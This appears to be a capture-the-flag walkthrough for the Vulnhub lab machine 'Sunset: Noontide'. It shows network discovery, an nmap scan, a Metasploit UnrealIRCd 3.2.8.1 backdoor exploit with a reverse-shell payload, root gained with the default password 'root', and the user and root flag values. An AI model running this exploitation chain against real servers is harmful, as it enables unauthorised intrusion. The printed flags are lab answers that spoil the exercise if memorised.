Sunset: Noontide: Walkthrough

by thestinger97

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Source: Vulnhub.com

URL: https://www.vulnhub.com/entry/sunset-noontide,531/

Environment Used:

Virtualbox

- Parrot OS 5 (**Attacker Machine**)
- Debian GNU/Linux 10 (Target Machine)

Network Configuration: NAT Network

Step 1: Identify Target

Using the command: ip address show I found my ip address and subnet: 10.0.2.7/24

Then I used **netdiscover** to find the ip address of the target machine with the command: **sudo netdiscover** -r **10.0.2.7/24**

10.0.2.25	08:00:27:ec:bc:c0	1	60	PCS Systemtechnik GmbH

Found the **target's ip address** as **10.0.2.25**.

Step 2: Reconnaissance & Nmap Scan

Used the command: **sudo nmap -sV -p- -A 10.0.2.25** to find which ports were open and what services were running on these ports (**-sV**). I scanned all ports (**-p-**) and I also enabled OS and version detection (**-A**).

```
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
MAC Address: 08:00:27:EC:BC:C0 (Oracle VirtualBox virtual NIC)
```

From the results, I saw that ports for the **irc** service were open (**ports: 6697 and 8067**).

I connected to port **6697** using telnet with the command: **telnet 10.0.2.25 6697**

The next step was to specify a **nickname** to connect to the service. I did that with the commands:

NICK stinger

USER stinger 97 * : stinger

```
:irc.foonet.com 001 stinger :Welcome to the ROXnet IRC Network stinger!stinger@10.0.2.7 :irc.foonet.com 002 stinger :Your host is irc.foonet.com, running version Unreal3.2.8.1
```

From the output, I saw that the **irc service** was running **Unreal version 3.2.8.1.**

Step 3: Gaining Access

I opened **metasploit** with the command: **msfconsole**

I searched if there were any exploits for **Unreal version 3.2.8.1** with the command: **search Unreal** and indeed there was!

```
Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/linux/games/ut2004_secure 2004-06-18 good Yes Unreal Tournament 2004 "secure" Overflow (Linux) 2 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No Unreal_IRCD 3.2.8.1 Backdoor Command Execution
```

I selected **module #2** with the command: **use 2.**

Then, I typed: **show payloads** to see the available payload options.

```
sf6 exploit(unix/irc/unreal ircd 3281 backdoor) > show payloads
ompatible Payloads
                                                    Disclosure Date Rank
                                                                              Check Description
                                                                                     Unix Command Shell, Bind TCP (via Perl)
     payload/cmd/unix/bind_perl
                                                                      normal
     payload/cmd/unix/bind_perl_ipv6
                                                                     normal
      payload/cmd/unix/bind_ruby
                                                                      normal
     payload/cmd/unix/bind ruby ipv6
                                                                     normal
                                                                                     Unix Command Shell, Bind TCP (via Ruby) IPv6
                                                                                     Unix Command, Generic Command Execution
Unix Command Shell, Double Reverse TCP (telnet)
     payload/cmd/unix/generic
                                                                              No
                                                                     normal
     payload/cmd/unix/reverse
     payload/cmd/unix/reverse bash telnet ssl
                                                                                     Unix Command Shell, Reverse TCP SSL (telnet)
     payload/cmd/unix/reverse_perl
     payload/cmd/unix/reverse perl ssl
                                                                      normal
                                                                                     Unix Command Shell, Reverse TCP SSL (via perl)
     payload/cmd/unix/reverse ruby
                                                                     normal
                                                                              No
                                                                                     Unix Command Shell, Reverse TCP SSL (via Ruby)
     payload/cmd/unix/reverse_ruby_ssl
     payload/cmd/unix/reverse ssl double telnet
                                                                      normal
                                                                                     Unix Command Shell, Double Reverse TCP SSL (telnet)
```

I wanted a reverse connection so I chose **payload #7** with the command: **set payload 7**

I set the remote host with the command: **set RHOSTS 10.0.2.25** (**target machine's ip address**)

I set the local host with the command: **set LHOST 10.0.2.7** (**attacking machine's ip address**)

```
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Canamer Current Setting Required Description

RHOSTS 10.0.2.25 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description

LHOST 10.0.2.7 yes The listen address (an interface may be specified)

LHOST 10.0.2.7 yes The listen port

Network

Exploit target:

Id Name

O Automatic Target
```

I typed the command: **run**

And... I had a reverse shell!

I was the user: **server** and I found the user flag inside /**home**/**server**/

```
pwd
/home/server
server@noontide:~$ cat local.txt
cat local.txt
c53c08b5bf2b0801c5d0c24149826a6e
```

Step 4: Privilege Escalation

I tried many different things. I looked up the kernel version and searched if I could find any exploits but no luck. There wasn't sudo on the system either so I couldn't do privilege escalation using sudo

either. I had ran out of ideas such that I tried random passwords to see if I could become the root user. And funnily enough, as the description of the machine suggested:

Description Difficulty: Very easy, do not overthink it!

I was able to become the **root** user by typing the password: **root**

```
server@noontide:~$ su root
su root
Password: root
root@noontide:/home/server#
```

I found the flag under the **root** directory.

```
root@noontide:/home/server# cd /root
cd /root
root@noontide:~# ls
ls
proof.txt
root@noontide:~# cat proof.txt
cat proof.txt
ab28c8ca8dalb9ffc2d702ac54221105

Thanks for playing! - Felipe Winsnes (@whitecr0wz)
root@noontide:~#
```